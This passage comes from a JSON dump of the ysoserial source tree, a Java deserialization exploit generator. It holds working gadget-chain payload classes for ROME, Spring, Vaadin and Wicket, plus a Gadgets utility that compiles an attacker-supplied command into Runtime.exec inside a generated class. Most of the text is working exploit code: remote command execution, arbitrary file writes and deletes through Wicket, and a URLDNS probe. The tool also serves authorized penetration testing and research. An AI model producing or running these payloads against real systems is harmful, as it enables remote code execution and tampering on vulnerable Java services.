    "content": "package ysoserial.payloads;\n\n\nimport javax.xml.transform.Templates;\n\nimport com.sun.syndication.feed.impl.ObjectBean;\n\nimport ysoserial.payloads.annotation.Authors;\nimport ysoserial.payloads.annotation.Dependencies;\nimport ysoserial.payloads.util.Gadgets;\nimport ysoserial.payloads.util.PayloadRunner;\n\n/**\n *\n * TemplatesImpl.getOutputProperties()\n * NativeMethodAccessorImpl.invoke0(Method, Object, Object[])\n * NativeMethodAccessorImpl.invoke(Object, Object[])\n * DelegatingMethodAccessorImpl.invoke(Object, Object[])\n * Method.invoke(Object, Object...)\n * ToStringBean.toString(String)\n * ToStringBean.toString()\n * ObjectBean.toString()\n * EqualsBean.beanHashCode()\n * ObjectBean.hashCode()\n * HashMap<K,V>.hash(Object)\n * HashMap<K,V>.readObject(ObjectInputStream)\n *\n * @author mbechler\n *\n */\n@Dependencies(\"rome:rome:1.0\")\n@Authors({ Authors.MBECHLER })\npublic class ROME implements ObjectPayload<Object> {\n\n    public Object getObject ( String command ) throws Exception {\n        Object o = Gadgets.createTemplatesImpl(command);\n        ObjectBean delegate = new ObjectBean(Templates.class, o);\n        ObjectBean root  = new ObjectBean(ObjectBean.class, delegate);\n        return Gadgets.makeMap(root, root);\n    }\n\n\n    public static void main ( final String[] args ) throws Exception {\n        PayloadRunner.run(ROME.class, args);\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/ReleaseableObjectPayload.java",
    "content": "package ysoserial.payloads;\n\n\n/**\n * @author mbechler\n *\n */\npublic interface ReleaseableObjectPayload<T> extends ObjectPayload<T> {\n\n    void release( T obj ) throws Exception;\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/Spring1.java",
    "content": "package ysoserial.payloads;\n\nimport static java.lang.Class.forName;\n\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.InvocationHandler;\nimport java.lang.reflect.Type;\n\nimport javax.xml.transform.Templates;\n\nimport org.springframework.beans.factory.ObjectFactory;\n\nimport ysoserial.payloads.annotation.Authors;\nimport ysoserial.payloads.annotation.Dependencies;\nimport ysoserial.payloads.annotation.PayloadTest;\nimport ysoserial.payloads.util.Gadgets;\nimport ysoserial.payloads.util.JavaVersion;\nimport ysoserial.payloads.util.PayloadRunner;\nimport ysoserial.payloads.util.Reflections;\n\n/*\n\tGadget chain:\n\n\t\tObjectInputStream.readObject()\n\t\t\tSerializableTypeWrapper.MethodInvokeTypeProvider.readObject()\n\t\t\t\tSerializableTypeWrapper.TypeProvider(Proxy).getType()\n\t\t\t\t\tAnnotationInvocationHandler.invoke()\n\t\t\t\t\t\tHashMap.get()\n\t\t\t\tReflectionUtils.findMethod()\n\t\t\t\tSerializableTypeWrapper.TypeProvider(Proxy).getType()\n\t\t\t\t\tAnnotationInvocationHandler.invoke()\n\t\t\t\t\t\tHashMap.get()\n\t\t\t\tReflectionUtils.invokeMethod()\n\t\t\t\t\tMethod.invoke()\n\t\t\t\t\t\tTemplates(Proxy).newTransformer()\n\t\t\t\t\t\t\tAutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke()\n\t\t\t\t\t\t\t\tObjectFactory(Proxy).getObject()\n\t\t\t\t\t\t\t\t\tAnnotationInvocationHandler.invoke()\n\t\t\t\t\t\t\t\t\t\tHashMap.get()\n\t\t\t\t\t\t\t\tMethod.invoke()\n\t\t\t\t\t\t\t\t\tTemplatesImpl.newTransformer()\n\t\t\t\t\t\t\t\t\t\tTemplatesImpl.getTransletInstance()\n\t\t\t\t\t\t\t\t\t\t\tTemplatesImpl.defineTransletClasses()\n\t\t\t\t\t\t\t\t\t\t\t\tTemplatesImpl.TransletClassLoader.defineClass()\n\t\t\t\t\t\t\t\t\t\t\t\t\tPwner*(Javassist-generated).<static init>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tRuntime.exec()\n\n */\n\n@SuppressWarnings({\"rawtypes\"})\n@PayloadTest ( precondition = \"isApplicableJavaVersion\")\n@Dependencies({\"org.springframework:spring-core:4.1.4.RELEASE\",\"org.springframework:spring-beans:4.1.4.RELEASE\"})\n@Authors({ Authors.FROHOFF })\npublic class Spring1 extends PayloadRunner implements ObjectPayload<Object> {\n\n\tpublic Object getObject(final String command) throws Exception {\n\t\tfinal Object templates = Gadgets.createTemplatesImpl(command);\n\n\t\tfinal ObjectFactory objectFactoryProxy =\n\t\t\t\tGadgets.createMemoitizedProxy(Gadgets.createMap(\"getObject\", templates), ObjectFactory.class);\n\n\t\tfinal Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler)\n\t\t\t\tReflections.getFirstCtor(\"org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler\")\n\t\t\t\t\t.newInstance(objectFactoryProxy), Type.class, Templates.class);\n\n\t\tfinal Object typeProviderProxy = Gadgets.createMemoitizedProxy(\n\t\t\t\tGadgets.createMap(\"getType\", typeTemplatesProxy),\n\t\t\t\tforName(\"org.springframework.core.SerializableTypeWrapper$TypeProvider\"));\n\n\t\tfinal Constructor mitpCtor = Reflections.getFirstCtor(\"org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider\");\n\t\tfinal Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod(\"getClass\", new Class[] {}), 0);\n\t\tReflections.setFieldValue(mitp, \"methodName\", \"newTransformer\");\n\n\t\treturn mitp;\n\t}\n\n\tpublic static void main(final String[] args) throws Exception {\n\t\tPayloadRunner.run(Spring1.class, args);\n\t}\n\n\tpublic static boolean isApplicableJavaVersion() {\n\t    return JavaVersion.isAnnInvHUniversalMethodImpl();\n    }\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/Spring2.java",
    "content": "package ysoserial.payloads;\n\n\nimport static java.lang.Class.forName;\n\nimport java.lang.reflect.InvocationHandler;\nimport java.lang.reflect.Type;\n\nimport javax.xml.transform.Templates;\n\nimport org.springframework.aop.framework.AdvisedSupport;\nimport org.springframework.aop.target.SingletonTargetSource;\n\nimport ysoserial.payloads.annotation.Authors;\nimport ysoserial.payloads.annotation.Dependencies;\nimport ysoserial.payloads.annotation.PayloadTest;\nimport ysoserial.payloads.util.Gadgets;\nimport ysoserial.payloads.util.JavaVersion;\nimport ysoserial.payloads.util.PayloadRunner;\nimport ysoserial.payloads.util.Reflections;\n\n\n/**\n *\n * Just a PoC to proof that the ObjectFactory stuff is not the real problem.\n *\n * Gadget chain:\n * TemplatesImpl.newTransformer()\n * Method.invoke(Object, Object...)\n * AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[])\n * JdkDynamicAopProxy.invoke(Object, Method, Object[])\n * $Proxy0.newTransformer()\n * Method.invoke(Object, Object...)\n * SerializableTypeWrapper$MethodInvokeTypeProvider.readObject(ObjectInputStream)\n *\n * @author mbechler\n */\n\n@PayloadTest ( precondition = \"isApplicableJavaVersion\")\n@Dependencies ( {\n    \"org.springframework:spring-core:4.1.4.RELEASE\", \"org.springframework:spring-aop:4.1.4.RELEASE\",\n    // test deps\n    \"aopalliance:aopalliance:1.0\", \"commons-logging:commons-logging:1.2\"\n} )\n@Authors({ Authors.MBECHLER })\npublic class Spring2 extends PayloadRunner implements ObjectPayload<Object> {\n\n    public Object getObject ( final String command ) throws Exception {\n        final Object templates = Gadgets.createTemplatesImpl(command);\n\n        AdvisedSupport as = new AdvisedSupport();\n        as.setTargetSource(new SingletonTargetSource(templates));\n\n        final Type typeTemplatesProxy = Gadgets.createProxy(\n            (InvocationHandler) Reflections.getFirstCtor(\"org.springframework.aop.framework.JdkDynamicAopProxy\").newInstance(as),\n            Type.class,\n            Templates.class);\n\n        final Object typeProviderProxy = Gadgets.createMemoitizedProxy(\n            Gadgets.createMap(\"getType\", typeTemplatesProxy),\n            forName(\"org.springframework.core.SerializableTypeWrapper$TypeProvider\"));\n\n        Object mitp = Reflections.createWithoutConstructor(forName(\"org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider\"));\n        Reflections.setFieldValue(mitp, \"provider\", typeProviderProxy);\n        Reflections.setFieldValue(mitp, \"methodName\", \"newTransformer\");\n        return mitp;\n    }\n\n    public static void main ( final String[] args ) throws Exception {\n        PayloadRunner.run(Spring2.class, args);\n    }\n\n    public static boolean isApplicableJavaVersion() {\n        return JavaVersion.isAnnInvHUniversalMethodImpl();\n    }\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/URLDNS.java",
    "content": "package ysoserial.payloads;\n\nimport java.io.IOException;\nimport java.net.InetAddress;\nimport java.net.URLConnection;\nimport java.net.URLStreamHandler;\nimport java.util.HashMap;\nimport java.net.URL;\n\nimport ysoserial.payloads.annotation.Authors;\nimport ysoserial.payloads.annotation.Dependencies;\nimport ysoserial.payloads.annotation.PayloadTest;\nimport ysoserial.payloads.util.PayloadRunner;\nimport ysoserial.payloads.util.Reflections;\n\n\n/**\n * A blog post with more details about this gadget chain is at the url below:\n *   https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/\n *\n *   This was inspired by  Philippe Arteau @h3xstream, who wrote a blog\n *   posting describing how he modified the Java Commons Collections gadget\n *   in ysoserial to open a URL. This takes the same idea, but eliminates\n *   the dependency on Commons Collections and does a DNS lookup with just\n *   standard JDK classes.\n *\n *   The Java URL class has an interesting property on its equals and\n *   hashCode methods. The URL class will, as a side effect, do a DNS lookup\n *   during a comparison (either equals or hashCode).\n *\n *   As part of deserialization, HashMap calls hashCode on each key that it\n *   deserializes, so using a Java URL object as a serialized key allows\n *   it to trigger a DNS lookup.\n *\n *   Gadget Chain:\n *     HashMap.readObject()\n *       HashMap.putVal()\n *         HashMap.hash()\n *           URL.hashCode()\n *\n *\n */\n@SuppressWarnings({ \"rawtypes\", \"unchecked\" })\n@PayloadTest(skip = \"true\")\n@Dependencies()\n@Authors({ Authors.GEBL })\npublic class URLDNS implements ObjectPayload<Object> {\n\n        public Object getObject(final String url) throws Exception {\n\n                //Avoid DNS resolution during payload creation\n                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.\n                URLStreamHandler handler = new SilentURLStreamHandler();\n\n                HashMap ht = new HashMap(); // HashMap that will contain the URL\n                URL u = new URL(null, url, handler); // URL to use as the Key\n                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.\n\n                Reflections.setFieldValue(u, \"hashCode\", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.\n\n                return ht;\n        }\n\n        public static void main(final String[] args) throws Exception {\n                PayloadRunner.run(URLDNS.class, args);\n        }\n\n        /**\n         * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.\n         * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior\n         * using the serialized object.</p>\n         *\n         * <b>Potential false negative:</b>\n         * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the\n         * second resolution.</p>\n         */\n        static class SilentURLStreamHandler extends URLStreamHandler {\n\n                protected URLConnection openConnection(URL u) throws IOException {\n                        return null;\n                }\n\n                protected synchronized InetAddress getHostAddress(URL u) {\n                        return null;\n                }\n        }\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/Vaadin1.java",
    "content": "package ysoserial.payloads;\n\nimport javax.management.BadAttributeValueExpException;\n\nimport com.vaadin.data.util.NestedMethodProperty;\nimport com.vaadin.data.util.PropertysetItem;\n\nimport ysoserial.payloads.annotation.Authors;\nimport ysoserial.payloads.annotation.Dependencies;\nimport ysoserial.payloads.annotation.PayloadTest;\nimport ysoserial.payloads.util.Gadgets;\nimport ysoserial.payloads.util.JavaVersion;\nimport ysoserial.payloads.util.PayloadRunner;\nimport ysoserial.payloads.util.Reflections;\n\n@Dependencies ( { \"com.vaadin:vaadin-server:7.7.14\", \"com.vaadin:vaadin-shared:7.7.14\" })\n@PayloadTest ( precondition = \"isApplicableJavaVersion\")\n@Authors({ Authors.KULLRICH })\npublic class Vaadin1 implements ObjectPayload<Object>\n{\n//  +-------------------------------------------------+\n//  |                                                 |\n//  |  BadAttributeValueExpException                  |\n//  |                                                 |\n//  |  val ==>  PropertysetItem                       |\n//  |                                                 |\n//  |  readObject() ==> val.toString()                |\n//  |          +                                      |\n//  +----------|--------------------------------------+\n//             |\n//             |\n//             |\n//        +----|-----------------------------------------+\n//        |    v                                         |\n//        |  PropertysetItem                             |\n//        |                                              |\n//        |  toString () => getPropertyId().getValue ()  |\n//        |                                       +      |\n//        +---------------------------------------|------+\n//                                                |\n//                  +-----------------------------+\n//                  |\n//            +-----|----------------------------------------------+\n//            |     v                                              |\n//            |  NestedMethodProperty                              |\n//            |                                                    |\n//            |  getValue() => java.lang.reflect.Method.invoke ()  |\n//            |                                           |        |\n//            +-------------------------------------------|--------+\n//                                                        |\n//                    +-----------------------------------+\n//                    |\n//                +---|--------------------------------------------+\n//                |   v                                            |\n//                |  TemplatesImpl.getOutputProperties()           |\n//                |                                                |\n//                +------------------------------------------------+\n    \n    @Override\n    public Object getObject (String command) throws Exception\n    {\n        Object templ = Gadgets.createTemplatesImpl (command);\n        PropertysetItem pItem = new PropertysetItem ();        \n        \n        NestedMethodProperty<Object> nmprop = new NestedMethodProperty<Object> (templ, \"outputProperties\");\n        pItem.addItemProperty (\"outputProperties\", nmprop);\n        \n        BadAttributeValueExpException b = new BadAttributeValueExpException (\"\");\n        Reflections.setFieldValue (b, \"val\", pItem);\n        \n        return b;\n    }\n\n    public static boolean isApplicableJavaVersion() {\n        return JavaVersion.isBadAttrValExcReadObj();\n    }\n\n    public static void main(final String[] args) throws Exception {\n        PayloadRunner.run(Vaadin1.class, args);\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/Wicket1.java",
    "content": "package ysoserial.payloads;\n\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.io.OutputStream;\nimport java.util.Arrays;\n\nimport org.apache.commons.codec.binary.Base64;\nimport org.apache.wicket.util.upload.DiskFileItem;\nimport org.apache.wicket.util.io.DeferredFileOutputStream;\nimport org.apache.wicket.util.io.ThresholdingOutputStream;\n\nimport ysoserial.payloads.annotation.Authors;\nimport ysoserial.payloads.annotation.Dependencies;\nimport ysoserial.payloads.annotation.PayloadTest;\nimport ysoserial.payloads.util.PayloadRunner;\nimport ysoserial.payloads.util.Reflections;\n\n\n/**\n * This gadget is almost identical to FileUpload1 since it appears\n * that Apache Wicket copied a version of Apache Commons DiskFileItem\n * prior to Pierre Ernst reporting CVE-2013-2186 (NULL byte attack). That\n * means that if the target is running less than Oracle Java 7 update 40\n * then the NULL byte attack is viable. Otherwise, copy and move attacks\n * always work.\n *\n * This attack is valid for the 1.x and 6.x lines of Apache Wicket but\n * was fixed in 1.5.16 and 6.24.0 (released July 2016).\n *\n *\n * Arguments:\n * - copyAndDelete;sourceFile;destDir\n * - write;destDir;ascii-data\n * - writeB64;destDir;base64-data\n * - writeOld;destFile;ascii-data\n * - writeOldB64;destFile;base64-data\n *\n * Example:\n * Wicket1 \"write;/tmp;blue lobster\"\n *\n * Result:\n * $ ls -l /tmp/\n * -rw-rw-r-- 1 albino_lobster albino_lobster   12 Jul 25 14:10 upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp\n * $ cat /tmp/upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp\n * blue lobster\n */\n@PayloadTest(harness=\"ysoserial.test.payloads.FileUploadTest\", flaky=\"possible race condition\")\n@Dependencies({\"org.apache.wicket:wicket-util:6.23.0\", \"org.slf4j:slf4j-api:1.6.4\"})\n@Authors({ Authors.JACOBAINES })\npublic class Wicket1 implements ReleaseableObjectPayload<DiskFileItem> {\n\n    public DiskFileItem getObject(String command) throws Exception {\n\n        String[] parts = command.split(\";\");\n\n        if (parts.length != 3) {\n        \tthrow new IllegalArgumentException(\"Bad command format.\");\n        }\n\n        if (\"copyAndDelete\".equals(parts[0])) {\n            return copyAndDelete(parts[1], parts[2]);\n        }\n        else if (\"write\".equals(parts[0])) {\n            return write(parts[1], parts[2].getBytes(\"US-ASCII\"));\n        }\n        else if (\"writeB64\".equals(parts[0]) ) {\n            return write(parts[1], Base64.decodeBase64(parts[2]));\n        }\n        else if (\"writeOld\".equals(parts[0]) ) {\n            return writeOldJRE(parts[1], parts[2].getBytes(\"US-ASCII\"));\n        }\n        else if (\"writeOldB64\".equals(parts[0]) ) {\n            return writeOldJRE(parts[1], Base64.decodeBase64(parts[2]));\n        }\n        throw new IllegalArgumentException(\"Unsupported command \" + command + \" \" + Arrays.toString(parts));\n    }\n\n\tpublic void release(DiskFileItem obj) throws Exception {\n\t}\n\n    private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception {\n        return makePayload(0, copyTo, copyAndDelete, new byte[1]);\n    }\n\n    // writes data to a random filename (update_<per JVM random UUID>_<COUNTER>.tmp)\n    private static DiskFileItem write ( String dir, byte[] data ) throws IOException, Exception {\n        return makePayload(data.length + 1, dir, dir + \"/whatever\", data);\n    }\n\n    // writes data to an arbitrary file\n    private static DiskFileItem writeOldJRE(String file, byte[] data) throws IOException, Exception {\n        return makePayload(data.length + 1, file + \"\\0\", file, data);\n    }\n\n    private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception {\n        // if thresh < written length, delete outputFile after copying to repository temp file\n        // otherwise write the contents to repository temp file\n        File repository = new File(repoPath);\n        DiskFileItem diskFileItem = new DiskFileItem(\"test\", \"application/octet-stream\", false, \"test\", 100000, repository, null);\n        File outputFile = new File(filePath);\n        DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);\n        OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, \"memoryOutputStream\");\n        os.write(data);\n        Reflections.getField(ThresholdingOutputStream.class, \"written\").set(dfos, data.length);\n        Reflections.setFieldValue(diskFileItem, \"dfos\", dfos);\n        Reflections.setFieldValue(diskFileItem, \"sizeThreshold\", 0);\n        return diskFileItem;\n    }\n\n    public static void main ( final String[] args ) throws Exception {\n        PayloadRunner.run(FileUpload1.class, args);\n    }\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/annotation/Authors.java",
    "content": "package ysoserial.payloads.annotation;\n\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\nimport java.lang.reflect.AnnotatedElement;\n\n@Target(ElementType.TYPE)\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface Authors {\n    String FROHOFF = \"frohoff\";\n    String PWNTESTER = \"pwntester\";\n    String CSCHNEIDER4711 = \"cschneider4711\";\n    String MBECHLER = \"mbechler\";\n    String JACKOFMOSTTRADES = \"JackOfMostTrades\";\n    String MATTHIASKAISER = \"matthias_kaiser\";\n    String GEBL = \"gebl\" ;\n    String JACOBAINES = \"jacob-baines\";\n    String JASINNER = \"jasinner\";\n    String KULLRICH = \"kai_ullrich\";\n    String TINT0 = \"_tint0\";\n    String SCRISTALLI = \"scristalli\";\n    String HANYRAX = \"hanyrax\";\n    String EDOARDOVIGNATI = \"EdoardoVignati\";\n    String JANG = \"Jang\";\n    String ARTSPLOIT = \"artsploit\";\n\n    String[] value() default {};\n\n    public static class Utils {\n        public static String[] getAuthors(AnnotatedElement annotated) {\n            Authors authors = annotated.getAnnotation(Authors.class);\n            if (authors != null && authors.value() != null) {\n                return authors.value();\n            } else {\n                return new String[0];\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/annotation/Dependencies.java",
    "content": "package ysoserial.payloads.annotation;\n\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\nimport java.lang.reflect.AnnotatedElement;\n\n@Target(ElementType.TYPE)\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface Dependencies {\n\tString[] value() default {};\n\n\tpublic static class Utils {\n\t\tpublic static String[] getDependencies(AnnotatedElement annotated) {\n\t\t\tDependencies deps = annotated.getAnnotation(Dependencies.class);\n\t\t\tif (deps != null && deps.value() != null) {\n\t\t\t\treturn deps.value();\n\t\t\t} else {\n\t\t\t\treturn new String[0];\n\t\t\t}\n\t\t}\n\n\t\tpublic static String[] getDependenciesSimple(AnnotatedElement annotated) {\n\t\t    String[] deps = getDependencies(annotated);\n\t\t    String[] simple = new String[deps.length];\n\t\t    for (int i = 0; i < simple.length; i++) {\n                simple[i] = deps[i].split(\":\", 2)[1];\n            }\n            return simple;\n        }\n\t}\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/annotation/PayloadTest.java",
    "content": "package ysoserial.payloads.annotation;\n\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\n\n/**\n * @author mbechler\n *\n */\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface PayloadTest {\n    String skip() default \"\";\n\n    String precondition() default \"\";\n\n    String harness() default \"\";\n\n    String flaky() default \"\";\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/util/ClassFiles.java",
    "content": "package ysoserial.payloads.util;\n\nimport java.io.ByteArrayOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\n\npublic class ClassFiles {\n\tpublic static String classAsFile(final Class<?> clazz) {\n\t\treturn classAsFile(clazz, true);\n\t}\n\t\n\tpublic static String classAsFile(final Class<?> clazz, boolean suffix) {\n\t\tString str;\n\t\tif (clazz.getEnclosingClass() == null) {\n\t\t\tstr = clazz.getName().replace(\".\", \"/\");\n\t\t} else {\n\t\t\tstr = classAsFile(clazz.getEnclosingClass(), false) + \"$\" + clazz.getSimpleName();\n\t\t}\n\t\tif (suffix) {\n\t\t\tstr += \".class\";\t\t\t\n\t\t}\n\t\treturn str;  \n\t}\n\n\tpublic static byte[] classAsBytes(final Class<?> clazz) {\n\t\ttry {\n\t\t\tfinal byte[] buffer = new byte[1024];\n\t\t\tfinal String file = classAsFile(clazz);\n\t\t\tfinal InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);\n\t\t\tif (in == null) {\n\t\t\t\tthrow new IOException(\"couldn't find '\" + file + \"'\");\n\t\t\t}\n\t\t\tfinal ByteArrayOutputStream out = new ByteArrayOutputStream();\n\t\t\tint len;\n\t\t\twhile ((len = in.read(buffer)) != -1) {\n\t\t\t\tout.write(buffer, 0, len);\n\t\t\t}\n\t\t\treturn out.toByteArray();\n\t\t} catch (IOException e) {\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t}\n\t\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/util/Gadgets.java",
    "content": "package ysoserial.payloads.util;\n\n\nimport static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;\n\nimport java.io.Serializable;\nimport java.lang.reflect.Array;\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.InvocationHandler;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Proxy;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport com.nqzero.permit.Permit;\nimport javassist.ClassClassPath;\nimport javassist.ClassPool;\nimport javassist.CtClass;\n\nimport com.sun.org.apache.xalan.internal.xsltc.DOM;\nimport com.sun.org.apache.xalan.internal.xsltc.TransletException;\nimport com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;\nimport com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;\nimport com.sun.org.apache.xml.internal.serializer.SerializationHandler;\n\n\n/*\n * utility generator functions for common jdk-only gadgets\n */\n@SuppressWarnings ( {\n    \"restriction\", \"rawtypes\", \"unchecked\"\n} )\npublic class Gadgets {\n\n    static {\n        // special case for using TemplatesImpl gadgets with a SecurityManager enabled\n        System.setProperty(DESERIALIZE_TRANSLET, \"true\");\n\n        // for RMI remote loading\n        System.setProperty(\"java.rmi.server.useCodebaseOnly\", \"false\");\n    }\n\n    public static final String ANN_INV_HANDLER_CLASS = \"sun.reflect.annotation.AnnotationInvocationHandler\";\n\n    public static class StubTransletPayload extends AbstractTranslet implements Serializable {\n\n        private static final long serialVersionUID = -5971610431559700674L;\n\n\n        public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {}\n\n\n        @Override\n        public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}\n    }\n\n    // required to make TemplatesImpl happy\n    public static class Foo implements Serializable {\n\n        private static final long serialVersionUID = 8207363842866235160L;\n    }\n\n\n    public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {\n        return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);\n    }\n\n\n    public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {\n        return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);\n    }\n\n\n    public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {\n        final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);\n        allIfaces[ 0 ] = iface;\n        if ( ifaces.length > 0 ) {\n            System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);\n        }\n        return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));\n    }\n\n\n    public static Map<String, Object> createMap ( final String key, final Object val ) {\n        final Map<String, Object> map = new HashMap<String, Object>();\n        map.put(key, val);\n        return map;\n    }\n\n\n    public static Object createTemplatesImpl ( final String command ) throws Exception {\n        if ( Boolean.parseBoolean(System.getProperty(\"properXalan\", \"false\")) ) {\n            return createTemplatesImpl(\n                command,\n                Class.forName(\"org.apache.xalan.xsltc.trax.TemplatesImpl\"),\n                Class.forName(\"org.apache.xalan.xsltc.runtime.AbstractTranslet\"),\n                Class.forName(\"org.apache.xalan.xsltc.trax.TransformerFactoryImpl\"));\n        }\n\n        return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);\n    }\n\n\n    public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )\n            throws Exception {\n        final T templates = tplClass.newInstance();\n\n        // use template gadget class\n        ClassPool pool = ClassPool.getDefault();\n        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));\n        pool.insertClassPath(new ClassClassPath(abstTranslet));\n        final CtClass clazz = pool.get(StubTransletPayload.class.getName());\n        // run command in static initializer\n        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections\n        String cmd = \"java.lang.Runtime.getRuntime().exec(\\\"\" +\n            command.replace(\"\\\\\", \"\\\\\\\\\").replace(\"\\\"\", \"\\\\\\\"\") +\n            \"\\\");\";\n        clazz.makeClassInitializer().insertAfter(cmd);\n        // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)\n        clazz.setName(\"ysoserial.Pwner\" + System.nanoTime());\n        CtClass superC = pool.get(abstTranslet.getName());\n        clazz.setSuperclass(superC);\n\n        final byte[] classBytes = clazz.toBytecode();\n\n        // inject class bytes into instance\n        Reflections.setFieldValue(templates, \"_bytecodes\", new byte[][] {\n            classBytes, ClassFiles.classAsBytes(Foo.class)\n        });\n\n        // required to make TemplatesImpl happy\n        Reflections.setFieldValue(templates, \"_name\", \"Pwnr\");\n        Reflections.setFieldValue(templates, \"_tfactory\", transFactory.newInstance());\n        return templates;\n    }\n\n\n    public static HashMap makeMap ( Object v1, Object v2 ) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException,\n            IllegalAccessException, InvocationTargetException {\n        HashMap s = new HashMap();\n        Reflections.setFieldValue(s, \"size\", 2);\n        Class nodeC;\n        try {\n            nodeC = Class.forName(\"java.util.HashMap$Node\");\n        }\n        catch ( ClassNotFoundException e ) {\n            nodeC = Class.forName(\"java.util.HashMap$Entry\");\n        }\n        Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);\n        Reflections.setAccessible(nodeCons);\n\n        Object tbl = Array.newInstance(nodeC, 2);\n        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));\n        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));\n        Reflections.setFieldValue(s, \"table\", tbl);\n        return s;\n    }\n}\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/util/JavaVersion.java",
    "content": "package ysoserial.payloads.util;\n\n\n/**\n * @author mbechler\n *\n */\npublic class JavaVersion {\n\n\n    public int major;\n    public int minor;\n    public int update;\n\n\n\n    public static JavaVersion getLocalVersion() {\n        String property = System.getProperties().getProperty(\"java.version\");\n        if ( property == null ) {\n            return null;\n        }\n        JavaVersion v = new JavaVersion();\n        String parts[] = property.split(\"\\\\.|_|-\");\n        int start = \"1\".equals(parts[0]) ? 1 : 0; // skip \"1.\" prefix\n        v.major   = Integer.parseInt(parts[start + 0]);\n        v.minor   = Integer.parseInt(parts[start + 1]);\n        v.update  = Integer.parseInt(parts[start + 2]);\n        return v;\n    }\n\n    public static boolean isAnnInvHUniversalMethodImpl() {\n        JavaVersion v = JavaVersion.getLocalVersion();\n        return v != null && (v.major < 8 || (v.major == 8 && v.update <= 71));\n    }\n\n    public static boolean isBadAttrValExcReadObj() {\n        JavaVersion v = JavaVersion.getLocalVersion();\n        return v != null && (v.major > 8 && v.update >= 76);\n    }\n\n    public static boolean isAtLeast(int major) {\n        JavaVersion v = JavaVersion.getLocalVersion();\n        return v != null && v.major >= major;\n    }\n}\n\n"
  },
  {
    "path": "src/main/java/ysoserial/payloads/util/PayloadRunner.java",
